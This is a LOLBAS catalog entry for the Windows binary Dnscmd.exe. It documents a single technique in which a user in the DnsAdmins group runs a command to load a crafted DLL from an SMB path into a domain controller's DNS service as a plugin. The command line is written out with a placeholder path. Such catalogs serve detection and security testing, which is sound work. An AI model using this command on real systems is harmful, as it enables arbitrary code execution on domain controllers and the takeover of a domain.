Catalog LOLBAS

LOL · Binary

Dnscmd.exe

1 technique WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.

Use Remotely inject dll to dns server

dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}
Context
admin
Native
Execute